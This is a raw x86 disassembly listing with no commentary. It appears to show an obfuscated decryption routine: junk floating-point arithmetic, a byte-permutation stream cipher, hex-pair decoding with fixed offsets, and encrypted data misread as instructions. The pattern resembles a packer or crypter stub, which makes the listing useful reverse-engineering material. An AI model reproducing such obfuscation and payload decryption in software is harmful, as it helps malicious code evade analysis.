movsd xmm0, qword [0xa66780]
movsd qword [ebp - 0x3b74], xmm0
movsd xmm0, qword [ebp - 0x3e58]
subsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x3e58], xmm0
movsd xmm0, qword [ebp - 0x3e58]
mulsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x3e58], xmm0
movsd xmm0, qword [ebp - 0x3cc8]
subsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x3cc8], xmm0
movsd xmm0, qword [ebp - 0x381c]
mulsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x3cc8]
mulsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x3cc8], xmm0
movsd xmm0, qword [ebp - 0x3cc8]
addsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x3cc8], xmm0
movsd xmm0, qword [ebp - 0x381c]
addsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x3cc8]
comisd xmm0, xmmword [ebp - 0x3b74]
jbe 0x43ce7f
movsd xmm0, qword [ebp - 0x3cc8]
mulsd xmm0, qword [ebp - 0x3e58]
movsd qword [ebp - 0x3cc8], xmm0
movsd xmm0, qword [ebp - 0x3bd8]
mulsd xmm0, qword [ebp - 0x3cc8]
movsd qword [ebp - 0x3bd8], xmm0
movsd xmm0, qword [ebp - 0x43c8]
mulsd xmm0, qword [ebp - 0x3d58]
movsd qword [ebp - 0x43c8], xmm0
movsd xmm0, qword [ebp - 0x3d58]
subsd xmm0, qword [ebp - 0x381c]
movsd qword [ebp - 0x3d58], xmm0
movsd xmm0, qword [ebp - 0x3b74]
subsd xmm0, qword [ebp - 0x43c8]
movsd qword [ebp - 0x3b74], xmm0
movsd xmm0, qword [ebp - 0x3bd8]
mulsd xmm0, qword [ebp - 0x3cc8]
movsd qword [ebp - 0x3bd8], xmm0
movsd xmm0, qword [ebp - 0x3d58]
addsd xmm0, qword [ebp - 0x381c]
movsd qword [ebp - 0x3d58], xmm0
mov edx, dword [ebp - 0x35a0]
mov dword [ebp - 0x360c], edx
jmp 0x43d34d
movsd xmm0, qword [ebp - 0x381c]
mulsd xmm0, qword [ebp - 0x3bd8]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x43c8]
divsd xmm0, qword [ebp - 0x3d58]
movsd qword [ebp - 0x43c8], xmm0
movsd xmm0, qword [ebp - 0x3d58]
addsd xmm0, qword [ebp - 0x381c]
movsd qword [ebp - 0x3d58], xmm0
movsd xmm0, qword [ebp - 0x3d58]
subsd xmm0, qword [ebp - 0x381c]
movsd qword [ebp - 0x3d58], xmm0
movsd xmm0, qword [ebp - 0x3bd8]
mulsd xmm0, qword [ebp - 0x3cc8]
movsd qword [ebp - 0x3bd8], xmm0
movsd xmm0, qword [ebp - 0x381c]
mulsd xmm0, qword [ebp - 0x3bd8]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x3d58]
divsd xmm0, qword [ebp - 0x381c]
movsd qword [ebp - 0x3d58], xmm0
movsd xmm0, qword [ebp - 0x3cc8]
divsd xmm0, qword [ebp - 0x3d58]
movsd qword [ebp - 0x3cc8], xmm0
movsd xmm0, qword [ebp - 0x43c8]
divsd xmm0, qword [ebp - 0x3cc8]
movsd qword [ebp - 0x43c8], xmm0
movsd xmm0, qword [ebp - 0x3cc8]
subsd xmm0, qword [ebp - 0x3d58]
movsd qword [ebp - 0x3cc8], xmm0
movsd xmm0, qword [ebp - 0x381c]
divsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x3d58]
addsd xmm0, qword [ebp - 0x3e58]
movsd qword [ebp - 0x3d58], xmm0
movsd xmm0, qword [ebp - 0x3cc8]
mulsd xmm0, qword [ebp - 0x3d58]
movsd qword [ebp - 0x3cc8], xmm0
movsd xmm0, qword [ebp - 0x381c]
divsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x3d58]
comisd xmm0, xmmword [ebp - 0x381c]
jbe 0x43d2a5
movsd xmm0, qword [ebp - 0x3e58]
subsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x3e58], xmm0
movsd xmm0, qword [ebp - 0x3b74]
mulsd xmm0, qword [ebp - 0x43c8]
movsd qword [ebp - 0x3b74], xmm0
movsd xmm0, qword [ebp - 0x381c]
addsd xmm0, qword [ebp - 0x3bd8]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x3e58]
subsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x3e58], xmm0
movsd xmm0, qword [ebp - 0x3cc8]
subsd xmm0, qword [ebp - 0x3e58]
movsd qword [ebp - 0x3cc8], xmm0
movsd xmm0, qword [ebp - 0x3bd8]
mulsd xmm0, qword [ebp - 0x3cc8]
movsd qword [ebp - 0x3bd8], xmm0
movsd xmm0, qword [ebp - 0x3bd8]
divsd xmm0, qword [ebp - 0x3cc8]
movsd qword [ebp - 0x3bd8], xmm0
movsd xmm0, qword [ebp - 0x381c]
subsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x3b74]
mulsd xmm0, qword [ebp - 0x3bd8]
movsd qword [ebp - 0x3b74], xmm0
movsd xmm0, qword [ebp - 0x3bd8]
subsd xmm0, qword [ebp - 0x43c8]
movsd qword [ebp - 0x3bd8], xmm0
movsd xmm0, qword [ebp - 0x3e58]
divsd xmm0, qword [ebp - 0x381c]
movsd qword [ebp - 0x3e58], xmm0
movsd xmm0, qword [ebp - 0x3bd8]
subsd xmm0, qword [ebp - 0x43c8]
movsd qword [ebp - 0x3bd8], xmm0
movsd xmm0, qword [ebp - 0x3e58]
addsd xmm0, qword [ebp - 0x381c]
movsd qword [ebp - 0x3e58], xmm0
movsd xmm0, qword [ebp - 0x3b74]
addsd xmm0, qword [ebp - 0x3bd8]
movsd qword [ebp - 0x3b74], xmm0
movsd xmm0, qword [ebp - 0x3cc8]
comisd xmm0, xmmword [ebp - 0x3e58]
jbe 0x43d1f8
movsd xmm0, qword [ebp - 0x3bd8]
divsd xmm0, qword [ebp - 0x3cc8]
movsd qword [ebp - 0x3bd8], xmm0
movsd xmm0, qword [ebp - 0x43c8]
divsd xmm0, qword [ebp - 0x3d58]
movsd qword [ebp - 0x43c8], xmm0
movsd xmm0, qword [ebp - 0x3d58]
mulsd xmm0, qword [ebp - 0x381c]
movsd qword [ebp - 0x3d58], xmm0
movsd xmm0, qword [ebp - 0x3e58]
divsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x3e58], xmm0
movsd xmm0, qword [ebp - 0x3b74]
divsd xmm0, qword [ebp - 0x43c8]
movsd qword [ebp - 0x3b74], xmm0
movsd xmm0, qword [ebp - 0x381c]
subsd xmm0, qword [ebp - 0x3bd8]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x3bd8]
subsd xmm0, qword [ebp - 0x3cc8]
movsd qword [ebp - 0x3bd8], xmm0
jmp 0x43d2a0
movsd xmm0, qword [ebp - 0x381c]
subsd xmm0, qword [ebp - 0x3bd8]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x3d58]
mulsd xmm0, qword [ebp - 0x381c]
movsd qword [ebp - 0x3d58], xmm0
movsd xmm0, qword [ebp - 0x3b74]
addsd xmm0, qword [ebp - 0x43c8]
movsd qword [ebp - 0x3b74], xmm0
movsd xmm0, qword [ebp - 0x3cc8]
subsd xmm0, qword [ebp - 0x3e58]
movsd qword [ebp - 0x3cc8], xmm0
movsd xmm0, qword [ebp - 0x381c]
subsd xmm0, qword [ebp - 0x3bd8]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x3e58]
mulsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x3e58], xmm0
movsd xmm0, qword [ebp - 0x3e58]
addsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x3e58], xmm0
jmp 0x43d34d
movsd xmm0, qword [ebp - 0x3d58]
addsd xmm0, qword [ebp - 0x381c]
movsd qword [ebp - 0x3d58], xmm0
movsd xmm0, qword [ebp - 0x3b74]
addsd xmm0, qword [ebp - 0x43c8]
movsd qword [ebp - 0x3b74], xmm0
movsd xmm0, qword [ebp - 0x3d58]
mulsd xmm0, qword [ebp - 0x381c]
movsd qword [ebp - 0x3d58], xmm0
movsd xmm0, qword [ebp - 0x3bd8]
mulsd xmm0, qword [ebp - 0x3cc8]
movsd qword [ebp - 0x3bd8], xmm0
movsd xmm0, qword [ebp - 0x381c]
addsd xmm0, qword [ebp - 0x3bd8]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x381c]
subsd xmm0, qword [ebp - 0x3bd8]
movsd qword [ebp - 0x381c], xmm0
movsd xmm0, qword [ebp - 0x3e58]
divsd xmm0, qword [ebp - 0x3b74]
movsd qword [ebp - 0x3e58], xmm0
mov eax, dword [ebp - 0x3608]
or eax, dword [ebp - 0x360c]
mov dword [ebp - 0x3610], eax
mov cl, byte [ebp - 0x3610]
mov byte [ebp - 0x32ae], cl
movzx edx, byte [ebp - 0x3284]
mov al, byte [ebp + edx - 0x4e7c]
mov byte [ebp - 0x32af], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx eax, byte [ebp - 0x326b]
add eax, edx
mov byte [ebp - 0x326b], al
mov cl, byte [ebp - 0x3262]
add cl, 1
mov byte [ebp - 0x3262], cl
movzx edx, byte [ebp - 0x326b]
movzx eax, byte [ebp - 0x3284]
mov cl, byte [ebp + edx - 0x4e7c]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp - 0x326b]
mov cl, byte [ebp + edx - 0x4e7c]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp - 0x326a]
mov cl, byte [ebp + edx - 0x4e7c]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x3262]
mov al, byte [ebp - 0x32af]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x32af]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx eax, byte [ebp - 0x32b0]
add eax, edx
mov byte [ebp - 0x32b0], al
movzx ecx, byte [ebp - 0x32ae]
movzx edx, byte [ebp - 0x326b]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx edx, byte [ebp - 0x3262]
movzx edx, byte [ebp + edx - 0x4e7c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4e7c]
xor ecx, eax
movzx edx, byte [ebp - 0x326a]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx edx, byte [ebp - 0x3284]
movzx edx, byte [ebp + edx - 0x4e7c]
add eax, edx
movzx edx, byte [ebp - 0x32b0]
movzx edx, byte [ebp + edx - 0x4e7c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4e7c]
movzx edx, byte [ebp + eax - 0x4e7c]
xor ecx, edx
mov byte [ebp - 0x326a], cl
mov al, byte [ebp - 0x32ae]
mov byte [ebp - 0x3284], al
mov cl, byte [ebp - 0x326a]
mov byte [ebp - 0x32ff], cl
cmp dword [ebp - 0x332c], 0
jle 0x43d4ed
movsx dx, byte [ebp - 0x32ff]
mov eax, dword [ebp - 0x332c]
mov word [ebp + eax*2 - 0x2b2], dx
mov ecx, dword [ebp - 0x332c]
add ecx, 1
mov dword [ebp - 0x332c], ecx
mov edx, dword [ebp - 0x34a4]
add edx, 1
mov dword [ebp - 0x34a4], edx
mov eax, dword [ebp - 0x332c]
shl eax, 1
mov dword [ebp - 0x35fc], eax
mov ecx, dword [ebp - 0x3600]
add ecx, dword [ebp - 0x35fc]
movzx edx, byte [ecx]
mov dword [ebp - 0x358c], edx
mov dword [ebp - 0x3588], 0x8e
mov eax, dword [ebp - 0x332c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3604], ecx
mov edx, dword [ebp - 0x3600]
add edx, dword [ebp - 0x3604]
movzx eax, byte [edx]
mov dword [ebp - 0x35c0], eax
mov dword [ebp - 0x35b8], 0x9f
mov ecx, dword [ebp - 0x358c]
sub ecx, dword [ebp - 0x3588]
mov dword [ebp - 0x3598], ecx
mov edx, dword [ebp - 0x35c0]
sub edx, dword [ebp - 0x35b8]
mov dword [ebp - 0x35a0], edx
mov eax, dword [ebp - 0x3598]
shl eax, 4
mov dword [ebp - 0x3608], eax
mov ecx, dword [ebp - 0x35a0]
mov dword [ebp - 0x360c], ecx
mov edx, dword [ebp - 0x3608]
or edx, dword [ebp - 0x360c]
mov dword [ebp - 0x3610], edx
mov al, byte [ebp - 0x3610]
mov byte [ebp - 0x32ae], al
movzx ecx, byte [ebp - 0x3284]
mov dl, byte [ebp + ecx - 0x4e7c]
mov byte [ebp - 0x32af], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx edx, byte [ebp - 0x326b]
add edx, ecx
mov byte [ebp - 0x326b], dl
mov al, byte [ebp - 0x3262]
add al, 1
mov byte [ebp - 0x3262], al
movzx ecx, byte [ebp - 0x326b]
movzx edx, byte [ebp - 0x3284]
mov al, byte [ebp + ecx - 0x4e7c]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x326a]
movzx edx, byte [ebp - 0x326b]
mov al, byte [ebp + ecx - 0x4e7c]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x3262]
movzx edx, byte [ebp - 0x326a]
mov al, byte [ebp + ecx - 0x4e7c]
mov byte [ebp + edx - 0x4e7c], al
movzx ecx, byte [ebp - 0x3262]
mov dl, byte [ebp - 0x32af]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x32af]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx edx, byte [ebp - 0x32b0]
add edx, ecx
mov byte [ebp - 0x32b0], dl
movzx eax, byte [ebp - 0x32ae]
movzx ecx, byte [ebp - 0x326b]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx ecx, byte [ebp - 0x3262]
movzx ecx, byte [ebp + ecx - 0x4e7c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4e7c]
xor eax, edx
movzx ecx, byte [ebp - 0x326a]
movzx edx, byte [ebp + ecx - 0x4e7c]
movzx ecx, byte [ebp - 0x3284]
movzx ecx, byte [ebp + ecx - 0x4e7c]
add edx, ecx
movzx ecx, byte [ebp - 0x32b0]
movzx ecx, byte [ebp + ecx - 0x4e7c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4e7c]
movzx ecx, byte [ebp + edx - 0x4e7c]
xor eax, ecx
mov byte [ebp - 0x326a], al
mov dl, byte [ebp - 0x32ae]
mov byte [ebp - 0x3284], dl
mov al, byte [ebp - 0x326a]
mov byte [ebp - 0x32ff], al
cmp dword [ebp - 0x332c], 0
jle 0x43d747
movsx cx, byte [ebp - 0x32ff]
mov edx, dword [ebp - 0x332c]
mov word [ebp + edx*2 - 0x2b2], cx
mov eax, dword [ebp - 0x332c]
add eax, 1
mov dword [ebp - 0x332c], eax
mov ecx, dword [ebp - 0x34a4]
add ecx, 1
mov dword [ebp - 0x34a4], ecx
mov edx, dword [ebp - 0x332c]
shl edx, 1
mov dword [ebp - 0x35fc], edx
mov eax, dword [ebp - 0x3600]
add eax, dword [ebp - 0x35fc]
movzx ecx, byte [eax]
mov dword [ebp - 0x358c], ecx
mov dword [ebp - 0x3588], 0x8e
mov edx, dword [ebp - 0x332c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3604], eax
mov ecx, dword [ebp - 0x3600]
add ecx, dword [ebp - 0x3604]
movzx edx, byte [ecx]
mov dword [ebp - 0x35c0], edx
mov dword [ebp - 0x35b8], 0x9f
mov eax, dword [ebp - 0x358c]
sub eax, dword [ebp - 0x3588]
mov dword [ebp - 0x3598], eax
movss xmm0, dword [0xa672e4]
movss dword [ebp - 0x3c44], xmm0
movss xmm0, dword [0xa67228]
movss dword [ebp - 0x3a14], xmm0
movss xmm0, dword [0xa67178]
movss dword [ebp - 0x39a8], xmm0
movss xmm0, dword [0xa670b0]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [0xa66fec]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x39a8]
mulss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x39a8], xmm0
movss xmm0, dword [ebp - 0x3c44]
subss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3c44], xmm0
movss xmm0, dword [ebp - 0x3568]
addss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x3568]
addss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x3a14]
subss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3a14], xmm0
movss xmm0, dword [ebp - 0x39a8]
comiss xmm0, dword [ebp - 0x35b4]
jbe 0x43d93f
movss xmm0, dword [ebp - 0x39a8]
addss xmm0, dword [ebp - 0x3568]
movss dword [ebp - 0x39a8], xmm0
movss xmm0, dword [ebp - 0x35b4]
subss xmm0, dword [ebp - 0x3c44]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x3568]
mulss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x35b4]
addss xmm0, dword [ebp - 0x3c44]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x3568]
mulss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3568], xmm0
mov ecx, dword [ebp - 0x35c0]
sub ecx, dword [ebp - 0x35b8]
mov dword [ebp - 0x35a0], ecx
jmp 0x43db32
movss xmm0, dword [ebp - 0x35b4]
addss xmm0, dword [ebp - 0x3c44]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x39a8]
mulss xmm0, dword [ebp - 0x3568]
movss dword [ebp - 0x39a8], xmm0
movss xmm0, dword [ebp - 0x3a14]
mulss xmm0, dword [ebp - 0x39a8]
movss dword [ebp - 0x3a14], xmm0
movss xmm0, dword [ebp - 0x3568]
divss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x3568]
addss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x3a14]
divss xmm0, dword [ebp - 0x3568]
movss dword [ebp - 0x3a14], xmm0
movss xmm0, dword [ebp - 0x3568]
divss xmm0, dword [ebp - 0x3c44]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x3568]
divss xmm0, dword [ebp - 0x3c44]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x3a14]
subss xmm0, dword [ebp - 0x3568]
movss dword [ebp - 0x3a14], xmm0
movss xmm0, dword [ebp - 0x39a8]
mulss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x39a8], xmm0
movss xmm0, dword [ebp - 0x3a14]
comiss xmm0, dword [ebp - 0x35b4]
jbe 0x43daba
movss xmm0, dword [ebp - 0x3568]
divss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x3a14]
divss xmm0, dword [ebp - 0x39a8]
movss dword [ebp - 0x3a14], xmm0
movss xmm0, dword [ebp - 0x3a14]
divss xmm0, dword [ebp - 0x39a8]
movss dword [ebp - 0x3a14], xmm0
movss xmm0, dword [ebp - 0x35b4]
divss xmm0, dword [ebp - 0x3c44]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x39a8]
addss xmm0, dword [ebp - 0x3568]
movss dword [ebp - 0x39a8], xmm0
jmp 0x43db32
movss xmm0, dword [ebp - 0x3a14]
mulss xmm0, dword [ebp - 0x3568]
movss dword [ebp - 0x3a14], xmm0
movss xmm0, dword [ebp - 0x3c44]
divss xmm0, dword [ebp - 0x39a8]
movss dword [ebp - 0x3c44], xmm0
movss xmm0, dword [ebp - 0x3c44]
mulss xmm0, dword [ebp - 0x39a8]
movss dword [ebp - 0x3c44], xmm0
movss xmm0, dword [ebp - 0x35b4]
subss xmm0, dword [ebp - 0x3a14]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x3c44]
subss xmm0, dword [ebp - 0x39a8]
movss dword [ebp - 0x3c44], xmm0
mov edx, dword [ebp - 0x3598]
shl edx, 4
mov dword [ebp - 0x3608], edx
mov eax, dword [ebp - 0x35a0]
mov dword [ebp - 0x360c], eax
mov ecx, dword [ebp - 0x3608]
or ecx, dword [ebp - 0x360c]
mov dword [ebp - 0x3610], ecx
mov dl, byte [ebp - 0x3610]
mov byte [ebp - 0x32ae], dl
movzx eax, byte [ebp - 0x3284]
mov cl, byte [ebp + eax - 0x4e7c]
mov byte [ebp - 0x32af], cl
movzx edx, byte [ebp - 0x3262]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx ecx, byte [ebp - 0x326b]
add ecx, eax
mov byte [ebp - 0x326b], cl
mov dl, byte [ebp - 0x3262]
add dl, 1
mov byte [ebp - 0x3262], dl
movzx eax, byte [ebp - 0x326b]
movzx ecx, byte [ebp - 0x3284]
mov dl, byte [ebp + eax - 0x4e7c]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp - 0x326b]
mov dl, byte [ebp + eax - 0x4e7c]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x3262]
movzx ecx, byte [ebp - 0x326a]
mov dl, byte [ebp + eax - 0x4e7c]
mov byte [ebp + ecx - 0x4e7c], dl
movzx eax, byte [ebp - 0x3262]
mov cl, byte [ebp - 0x32af]
mov byte [ebp + eax - 0x4e7c], cl
movzx edx, byte [ebp - 0x32af]
movzx eax, byte [ebp + edx - 0x4e7c]
movzx ecx, byte [ebp - 0x32b0]
add ecx, eax
mov byte [ebp - 0x32b0], cl
movzx edx, byte [ebp - 0x32ae]
movzx eax, byte [ebp - 0x326b]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx eax, byte [ebp - 0x3262]
movzx eax, byte [ebp + eax - 0x4e7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4e7c]
xor edx, ecx
movzx eax, byte [ebp - 0x326a]
movzx ecx, byte [ebp + eax - 0x4e7c]
movzx eax, byte [ebp - 0x3284]
movzx eax, byte [ebp + eax - 0x4e7c]
add ecx, eax
movzx eax, byte [ebp - 0x32b0]
movzx eax, byte [ebp + eax - 0x4e7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4e7c]
movzx eax, byte [ebp + ecx - 0x4e7c]
xor edx, eax
mov byte [ebp - 0x326a], dl
mov cl, byte [ebp - 0x32ae]
mov byte [ebp - 0x3284], cl
mov dl, byte [ebp - 0x326a]
mov byte [ebp - 0x32ff], dl
cmp dword [ebp - 0x332c], 0
jle 0x43dcef
movsx ax, byte [ebp - 0x32ff]
mov ecx, dword [ebp - 0x332c]
mov word [ebp + ecx*2 - 0x2b2], ax
mov edx, 2
imul eax, edx, 0x24
mov dword [ebp - 0x5398], eax
cmp dword [ebp - 0x5398], 0x4a
jae 0x43dd08
jmp 0x43dd0d
call fcn.009ea777
xor ecx, ecx
mov edx, dword [ebp - 0x5398]
mov word [ebp + edx - 0x2b0], cx
jmp 0x43dd73
mov dword [ebp - 0x49b8], 0
jmp 0x43dd3a
mov eax, dword [ebp - 0x49b8]
add eax, 1
mov dword [ebp - 0x49b8], eax
cmp dword [ebp - 0x49b8], 0x25
jge 0x43dd73
mov ecx, dword [ebp - 0x49b8]
shl ecx, 1
mov dword [ebp - 0x5394], ecx
cmp dword [ebp - 0x5394], 0x4a
jae 0x43dd5c
jmp 0x43dd61
call fcn.009ea777
xor edx, edx
mov eax, dword [ebp - 0x5394]
mov word [ebp + eax - 0x2b0], dx
jmp 0x43dd2b
push 0
push 1
mov ecx, dword [ebp - 0x4698]
push ecx
lea edx, [ebp - 0x264]
push edx
push 0
lea eax, [ebp - 0x2b0]
push eax
movzx ecx, byte [ebp + 0xc]
push ecx
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x3238], 0
mov dword [ebp - 0x3234], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47cc], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45c8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45c8], xmm0
jmp 0x43ddea
movsd xmm0, qword [ebp - 0x45c8]
addsd xmm0, qword [0xa66360]
movsd qword [ebp - 0x45c8], xmm0
movsd xmm0, qword [0xa66798]
comisd xmm0, xmmword [ebp - 0x45c8]
jbe 0x43de9b
movsd xmm0, qword [0xa665f8]
mulsd xmm0, qword [ebp - 0x45c8]
mulsd xmm0, qword [ebp - 0x45c8]
movsd xmm1, qword [ebp - 0x45c8]
mulsd xmm1, qword [ebp - 0x45c8]
subsd xmm0, xmm1
movsd xmm1, qword [0xa66380]
mulsd xmm1, qword [ebp - 0x45c8]
mulsd xmm1, qword [ebp - 0x45c8]
addsd xmm1, qword [0xa664a8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47cc]
movsd qword [ebp - 0x47cc], xmm0
movsd xmm0, qword [ebp - 0x47cc]
comisd xmm0, xmmword [0xa66548]
jbe 0x43de96
movsd xmm0, qword [0xa662c8]
mulsd xmm0, qword [ebp - 0x45c8]
movsd xmm1, qword [ebp - 0x47cc]
subsd xmm1, xmm0
movsd qword [ebp - 0x47cc], xmm1
jmp 0x43ddd2
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47cc]
jbe 0x43ded7
imul ebp, dword [esi], 0x296a2a68
push 0x6b257228
daa
push 0x23
imul esp, dword [ebx], 0x27
pushal
pop ebx
push esp
pop ebx
push edx
sub byte [ebp + 0x5d], bl
inc edi
pop eax
pop esi
pop ecx
push esp
imul esp, dword [eax + 0x70], 0x57296e61
jno 0x43debc
sub ebp, dword [eax]
add byte [eax], al
mov dword [ebp - 0x3238], 0x43dea8
mov dword [ebp - 0x3234], 0x43deba
mov edx, dword [ebp - 0x3238]
mov dword [ebp - 0x38d0], edx
mov eax, dword [ebp - 0x3234]
mov dword [ebp - 0x6338], eax
mov byte [ebp - 0x4024], 0x1c
mov dword [ebp - 0x38c8], 0
jmp 0x43df25
mov ecx, dword [ebp - 0x38c8]
add ecx, 1
mov dword [ebp - 0x38c8], ecx
cmp dword [ebp - 0x38c8], 0x100
jae 0x43df46
mov edx, dword [ebp - 0x38c8]
mov al, byte [ebp - 0x38c8]
mov byte [ebp + edx - 0x56a0], al
jmp 0x43df16
mov dword [ebp - 0x4500], 0
mov byte [ebp - 0x3353], 0
mov dword [ebp - 0x38c8], 0xff
jmp 0x43df72
mov ecx, dword [ebp - 0x38c8]
sub ecx, 1
mov dword [ebp - 0x38c8], ecx
cmp dword [ebp - 0x38c8], 0
jbe 0x43e1e2
mov dword [ebp - 0x4c24], 0
mov dword [ebp - 0x49bc], 1
mov edx, dword [ebp - 0x49bc]
cmp edx, dword [ebp - 0x38c8]
jae 0x43dfb3
mov eax, dword [ebp - 0x49bc]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x49bc], ecx
jmp 0x43df93
mov edx, dword [ebp - 0x4500]
mov dword [ebp - 0x5390], edx
cmp dword [ebp - 0x5390], 3
ja case.default.0x43dfd2
mov eax, dword [ebp - 0x5390]
jmp dword [eax*4 + 0x46ce24]
movzx ecx, byte [ebp - 0x3353]
movzx ebx, byte [ebp + ecx - 0x56a0]
movsd xmm0, qword [ebp - 0x47cc]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3353], bl
jmp 0x43e0bb
movzx edx, byte [ebp - 0x3353]
movzx ebx, byte [ebp + edx - 0x56a0]
movsd xmm0, qword [ebp - 0x47cc]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3353], bl
jmp 0x43e0bb
movzx eax, byte [ebp - 0x3353]
movzx ebx, byte [ebp + eax - 0x56a0]
movsd xmm0, qword [ebp - 0x47cc]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3353], bl
jmp 0x43e0bb
movzx ecx, byte [ebp - 0x3353]
movzx ebx, byte [ebp + ecx - 0x56a0]
movsd xmm0, qword [ebp - 0x47cc]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3353], bl
jmp 0x43e0bb
movzx edx, byte [ebp - 0x3353]
movzx eax, byte [ebp + edx - 0x56a0]
mov ecx, dword [ebp - 0x6338]
add ecx, dword [ebp - 0x4500]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x3353], al
mov eax, dword [ebp - 0x4500]
add eax, 1
mov dword [ebp - 0x4500], eax
movzx ecx, byte [ebp - 0x4024]
cmp dword [ebp - 0x4500], ecx
jb 0x43e0f9
mov dword [ebp - 0x4500], 0
movzx edx, byte [ebp - 0x4024]
movzx eax, byte [ebp - 0x3353]
add eax, edx
mov byte [ebp - 0x3353], al
movzx ecx, byte [ebp - 0x3353]
and ecx, dword [ebp - 0x49bc]
mov dword [ebp - 0x42a8], ecx
